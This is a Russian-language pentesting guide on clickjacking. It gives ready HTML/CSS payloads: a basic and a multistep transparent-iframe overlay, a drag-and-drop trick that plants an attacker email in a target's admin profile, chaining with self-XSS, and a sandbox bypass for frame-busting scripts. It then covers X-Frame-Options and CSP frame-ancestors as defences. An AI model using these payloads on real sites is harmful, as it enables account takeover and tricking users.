При атаке clickjacking пользователя обманом заставляют нажать на элемент на веб-странице, который либо невидим, либо замаскирован под другой элемент.
Такая манипуляция может привести к нежелательным последствиям для пользователя, например загрузке вредоносного ПО, перенаправлению на вредоносные веб-страницы, предоставлению учетных данных или конфиденциальной информации, переводу денег или покупке товаров онлайн.
Иногда при загрузке страницы можно заполнить значения полей формы с помощью GET-параметров.
Злоумышленник может воспользоваться этим поведением, чтобы заполнить форму произвольными данными и отправить полезную нагрузку clickjacking, чтобы пользователь нажал кнопку “Отправить”.
Если вам нужно, чтобы пользователь заполнил форму, но вы не хотите напрямую просить его написать какую-то определенную информацию (например, email или пароль, который вы знаете), вы можете просто попросить его перетащить что-то, что запишет ваши контролируемые данные, как в этом примере.
Основная полезная нагрузка
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Многоступенчатая полезная нагрузка
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Перетаскивание + клик
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Если вы обнаружили
XSS-атаку, которая требует от пользователя щелкнуть по какому-то элементу, чтобы запустить XSS, а страница уязвима к clickjacking, вы можете злоупотребить этим, чтобы обманом заставить пользователя щелкнуть по кнопке/ссылке.
Пример:
Вы обнаружили XSS в некоторых приватных данных аккаунта (данные, которые можете установить и прочитать только вы).
Страница с формой для установки этих данных уязвима для Clickjacking, и вы можете предварительно заполнить форму GET-параметрами.
Злоумышленник может подготовить атаку Clickjacking на эту страницу, предварительно заполнив форму XSS-полезной нагрузкой и обманом заставив пользователя отправить форму.
Таким образом, когда форма будет отправлена и значения будут изменены, пользователь выполнит XSS.
Стратегии защиты от кликджекинга
Защита на стороне клиента
Сценарии, выполняемые на стороне клиента, могут выполнять действия по предотвращению Clickjacking:
- Убедитесь, что окно приложения является главным или верхним окном.
- Сделать все фреймы видимыми.
- Предотвращение щелчков на невидимых фреймах.
- Обнаружение и предупреждение пользователей о возможных попытках Clickjacking.
Однако эти скрипты, разрушающие фреймы, можно обойти:
Настройки безопасности браузеров: Некоторые браузеры могут блокировать эти скрипты, основываясь на настройках безопасности или отсутствии поддержки JavaScript.
HTML5 iframe Атрибут: Злоумышленник может нейтрализовать скрипты-разрушители фреймов, установив атрибут sandbox со значениями allow-forms или allow-scripts без allow-top-navigation. Это не позволяет iframe проверять, является ли он верхним окном, например,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Значения allow-forms и allow-scripts позволяют выполнять действия внутри iframe, запрещая навигацию на верхнем уровне.
Для обеспечения функциональности целевого сайта могут потребоваться дополнительные разрешения, такие как allow-same-origin и allow-modals, в зависимости от типа атаки.
Сообщения консоли браузера могут подсказать, какие разрешения следует разрешить.
Защита на стороне сервера
X-Frame-Options заголовок ответа HTTP информирует браузеры о легитимности отображения страницы в <frame> или <iframe>, помогая предотвратить Clickjacking:
Обратите внимание на ограничения: если браузер не поддерживает эту директиву, она может не работать. Некоторые браузеры предпочитают директиву CSP frame-ancestors.
Политика безопасности содержимого (CSP) директива frame-ancestors
- frame-ancestors ‘none’ – Аналогично X-Frame-Options: deny.
- frame-ancestors ‘self’ – Аналогично X-Frame-Options: sameorigin.
- frame-ancestors trusted.com – Аналогично X-Frame-Options: allow-from.
Например, следующий CSP разрешает фреймы только из того же домена:
Content-Security-Policy: frame-ancestors 'self';
см. также: